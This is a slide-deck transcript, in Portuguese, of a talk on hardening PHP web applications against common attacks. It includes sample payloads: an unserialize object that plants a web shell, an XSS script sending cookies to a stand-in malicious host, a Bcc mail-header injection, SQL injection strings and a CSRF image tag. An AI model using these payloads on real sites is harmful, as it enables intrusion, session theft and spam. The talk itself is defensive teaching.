php & segurança: blindando aplicações web - rafael jaques - tchelinux bento gonçalves 2017
TRANSCRIPT
![Page 1: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/1.jpg)
PHP & Segurança Blindando Aplicações Web
Rafael Jaques @rafajaques
iMasters - PHP Experience 2017
![Page 2: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/2.jpg)
“Conhecereis a verdade e a verdade vos libertará.” João 8:32
![Page 3: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/3.jpg)
Rafael Jaques
Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul.
Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior. Mestre em Educação.
Desenvolvedor web e viciado em segurança.
![Page 5: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/5.jpg)
Um detalhe…
Não tem como falar de tudo :(
Mas eu tentei…
![Page 6: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/6.jpg)
1 Segurança da informação
![Page 7: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/7.jpg)
Pontos-chave da SI
IntegridadeConfidencialidade
Disponibilidade
![Page 8: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/8.jpg)
2 Planejamento
![Page 9: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/9.jpg)
PlanejamentoProjete o seu sistema
Estude antes de implementar
Revise o que foi feito
Conheça o seu ambiente
![Page 10: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/10.jpg)
Problemas no servidor
Defesa em profundidade
![Page 11: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/11.jpg)
Problemas no servidor
Lei do menor privilégio
![Page 12: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/12.jpg)
3 Melhorando o código desenvolvido
![Page 13: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/13.jpg)
Como desenvolver um bom código?
![Page 14: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/14.jpg)
Tudo começa com
BOAS PRÁTICAS
![Page 15: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/15.jpg)
Warning: Cannot modify header information - headers already sent by (output started at /path/to/script.php:1) in script.php on line 55
Omita as tags de fechamento
Boas práticas
![Page 16: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/16.jpg)
Utilize extensões consistentes
Boas práticas
.php
.inc.php
.inc.php~
.bak
![Page 17: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/17.jpg)
Utilize extensões consistentes
Boas práticas
.php
.inc.php
.inc.php~
.bak
httpd.conf AddType application/x-httpd-php .php .phtml
![Page 18: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/18.jpg)
Nunca edite arquivos em produção
Boas práticas
![Page 19: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/19.jpg)
Funções perigosas
exec( )
Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
![Page 20: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/20.jpg)
Funções perigosas
exec( )
Não execute bobagem no seu sistema
shell_exec( )
system( ) passthru( )
proc_*( )
escapeshellcmd( ) escapeshellarg( )
![Page 21: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/21.jpg)
Funções perigosas
serialize() unserialize( )
![Page 22: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/22.jpg)
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
classLogger{public$logFile;public$buffer;public$fh;publicfunction__destruct(){$this->WriteBuffer();}publicfunctionWriteBuffer(){if(!$this->fh){$this->fh=fopen($this->logFile,'w');}fwrite($this->fh,$this->buffer);}//...}//...$cookieData=unserialize($_COOKIE['data']);//...
![Page 23: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/23.jpg)
O:6:"Logger":3:{s:7:"logFile";s: 8:"vish.php";s:6:"buffer";s:27:"<?php system($_GET["mal"]);";s:2:"fh";N;}
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
Grava o arquivo vish.php com o conteúdo:
<?phpsystem($_GET["mal"]);
![Page 24: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/24.jpg)
Ex.: https://speakerdeck.com/willdonohoe/practical-php-security
Primeiro resultado ao procurar no Google por php store array cookie
![Page 25: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/25.jpg)
Seu ambiente também precisa de cuidado e atenção
![Page 26: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/26.jpg)
Configuração do ambiente
Headers
Podem denunciar o seu servidor
expose_php php.ini
![Page 27: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/27.jpg)
Apache
ServerTokens
Prod Major Minor Min Os Full
Configuração do ambiente
![Page 28: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/28.jpg)
$ lwp-request -edm GET sitedealguem.com.br
200 OK
[...]
Connection: close
Pragma: no-cache
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Type: text/html
X-Meta-Revisit-After: 4 days
X-Powered-By: PHP/5.3.3-7+squeeze2
![Page 29: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/29.jpg)
$ lwp-request -edm GET sitedealguem.com.br
200 OK
[...]
Connection: close
Pragma: no-cache
Server: Apache/2.2.22 (Debian)
Vary: Accept-Encoding
Content-Type: text/html
X-Meta-Revisit-After: 4 days
X-Powered-By: PHP/5.3.3
![Page 30: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/30.jpg)
![Page 31: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/31.jpg)
Gerenciar os erros pode
salvar seu dia!
![Page 32: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/32.jpg)
Gerenciamento de erros
display_errors
error_reporting
log_errors
error_log
Mostrar erros na tela
Nível de erro mostrado
Logar erros
Arquivo de log
![Page 33: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/33.jpg)
set_error_handler( )
error_log( )
Indica uma função para manipular erros
Loga um erro personalizado
Gerenciamento de erros
![Page 34: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/34.jpg)
4 Filtragem de dados
![Page 35: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/35.jpg)
Filtragem de dados
Bypass
Mistake Origin
![Page 36: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/36.jpg)
Validate
Sanitizefilter_var( )
Validating && Sanitizing
Bloqueie valores indesejados
Filtragem de dados
![Page 37: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/37.jpg)
filter_var( )
php.net/filter.filters
FILTER_VALIDATE_* FILTER_SANITIZE_*
Validação de dadosVerifica se
determinado valorencontra-se dentro dosparâmetros esperados.
Limpeza de dadosRetira de um
determinado valor todosos caracteres que
não são permitidos.
![Page 38: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/38.jpg)
Validação
filter_var( , )$valor CONSTANTE_FILTRO
Valor filtrado
bool(false)
![Page 39: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/39.jpg)
ValidaçãoFILTER_VALIDATE_EMAIL
“[email protected]" string(12) “[email protected]” “[email protected]" bool(false)
5 bool(false) “1@2” bool(false)
“phpit.com.br” bool(false) “joao quem”@site.com bool(false)
![Page 40: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/40.jpg)
ValidaçãoFILTER_VALIDATE_FLOAT
php.net/filter.filters.validate
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_IP
FILTER_VALIDATE_URL
![Page 41: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/41.jpg)
LimpezaFILTER_SANITIZE_URL
http://phpit.com.br
http://phpit.com.br£
phpitº.com.br
br¶
§
string(19) "http://phpit.com.br"
string(19) "http://phpit.com.br"
string(12) "phpit.com.br"
string(2) "br"
string(0) ""
![Page 42: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/42.jpg)
FILTER_SANITIZE_STRING
uma string string(10) "uma string"
string(12) "uma string *"
string(21) "uma string<tag>"
Limpeza
<tag>uma string *
<tag>uma string<tag>
![Page 43: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/43.jpg)
LimpezaFILTER_SANITIZE_EMAIL
php.net/filter.filters.validate
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_ENCODED
FILTER_SANITIZE_NUMBER_INT
![Page 44: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/44.jpg)
Cuidados com
Formulários
![Page 45: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/45.jpg)
Spoofed Form Submissions
Cuidados com formulários
![Page 46: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/46.jpg)
Abuso de form mail
Cuidados com formulários
![Page 47: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/47.jpg)
Abuso de form mail<?php
$cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>";
$para = "[email protected]";
$assunto = "Contato via site"; $corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);
![Page 48: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/48.jpg)
Abuso de form mail
From: Fulaninho <[email protected]>
Subject: Contato via site
Esta é a mensagem do e-mail
E s p e r a d o
![Page 49: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/49.jpg)
Abuso de form mail
From: Fulaninho <[email protected]>
Subject: Contato via site
Esta é a mensagem do e-mail
E s p e r a d o
Fulaninho\nBcc: [email protected], [email protected],
![Page 50: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/50.jpg)
Abuso de form mail
From: Fulaninho Bcc: [email protected], [email protected], <[email protected]>
Subject: Contato via site
Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim!
P o s s í v e l
![Page 51: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/51.jpg)
5 Upload de arquivos
![Page 52: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/52.jpg)
MIME Type do $_FILES
Upload de arquivos
![Page 53: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/53.jpg)
Verificar o tipo da imagem
exif_imagetype( )
Upload de arquivos
![Page 54: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/54.jpg)
php.net/function.exif-imagetype
Upload de arquivos
![Page 55: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/55.jpg)
Ressalvar imagens
Upload de arquivos
![Page 56: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/56.jpg)
6 Injeção de código
![Page 57: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/57.jpg)
XSSCross-Site Scripting
![Page 58: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/58.jpg)
XSS Cross-Site Scripting
<script>
document.location = "http://sitedomal.com?c=" + document.cookie
</script>
![Page 59: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/59.jpg)
XSS Cross-Site Scripting
Filtrar dados externos
Utilize as funções de filtro
Utilize uma white-list
![Page 60: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/60.jpg)
htmlentities( ) strip_tags( )
XSS Cross-Site Scripting
Utilize as funções de filtro
utf8_decode( ) filter_var( )
![Page 61: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/61.jpg)
XSS Cross-Site Scripting
Cuidado com injeção de CSS
expression( ) url( ) Métodosespecíficos moz-
binding
![Page 62: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/62.jpg)
CSRFCross-Site Request Forgery
![Page 63: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/63.jpg)
CSRF Cross-Site Request Forgery
http://meusite.com/voto.php?id=1
<img src="http://meusite.com/voto.php?id=1" />
![Page 64: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/64.jpg)
CSRF Cross-Site Request Forgery
Exigir um token
Solicitar reautenticação
Prefira POST em vez de GET
Limite o tempo de sessão
Verificar Referer Force o uso de seus formulários
uniqid( )
$_SERVER['HTTP_REFERER']
![Page 65: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/65.jpg)
Outros tipos de injeção
XPath LDAP
Bibliotecas de terceiros
Upload de arquivos
![Page 66: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/66.jpg)
Indo além da
Validação de dados
![Page 67: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/67.jpg)
Além da validação
Regras de negócio
Filtrou a entrada? Filtre a saída!
Não confie nos cookies!
![Page 68: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/68.jpg)
7 Segurança em bancos de dados
![Page 69: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/69.jpg)
SGBDs suportados pelo PHP
php.net/refs.database
dBaseDB++CUBRID
FrontBaseFireBird/InterbasefilePro
IngresInformixIBM DB2
mSQLMongoMaxDB
OracleMySQLM$ SQL
PostgreSQLParadoxOvrimos SQL
Tokyo TyrantSybaseSQLite
![Page 70: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/70.jpg)
Conceitos básicos de
segurança em
Bancos de Dados
![Page 71: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/71.jpg)
Lei do
Menor Privilégio
![Page 72: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/72.jpg)
Não permita
Acesso Remoto
![Page 73: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/73.jpg)
Prefira utilizar
UTF-8
![Page 74: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/74.jpg)
Escapar caracteres
não é seguro
mysql_real_escape_string( )
addslashes( )
![Page 75: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/75.jpg)
SQL e Blind SQL
Injection
![Page 76: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/76.jpg)
SQLInjection
![Page 77: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/77.jpg)
SQL Injection
Injeção de código SQL arbitrário dentro de uma consulta legítima.
![Page 78: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/78.jpg)
SQL Injection
![Page 79: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/79.jpg)
SQL Injection
1' OR 1='1
![Page 80: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/80.jpg)
SQL Injection
fulano'# ou fulano' --
![Page 81: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/81.jpg)
extension:php mysql_query $_GET
![Page 82: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/82.jpg)
SQLInjection
Blind
![Page 83: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/83.jpg)
Injeção de código arbitrário sem visualização da saída do banco.
Blind SQL Injection
![Page 84: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/84.jpg)
Prepared Statements
e ORMs
![Page 85: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/85.jpg)
Prepared Statements
Declarações preparadas
Compila as consultas SQL
Utiliza placeholders
![Page 86: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/86.jpg)
Declarações preparadas
INSERT INTO produtos (nome, preco) VALUES (?, ?)
Prepared Statements
![Page 87: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/87.jpg)
ORMObject-relational mapping
Reduz a escrita de SQL
Acesso ao banco através de classes
![Page 88: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/88.jpg)
ORMs
![Page 89: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/89.jpg)
Exposição de
credenciais
![Page 90: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/90.jpg)
O que acontece se alguém tiver
acesso aos seus arquivos?
![Page 91: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/91.jpg)
E se o PHP parar de
funcionar?
![Page 92: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/92.jpg)
![Page 93: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/93.jpg)
8 Cookies e sessions
![Page 94: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/94.jpg)
Cookies são client-side
Sessions são server-side
Cookies e Sessions
![Page 95: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/95.jpg)
Cliente Servidor
Requisição HTTP
Resposta HTTP + Set Cookie
Requisição HTTP
Resposta HTTP
Cookies e Sessions
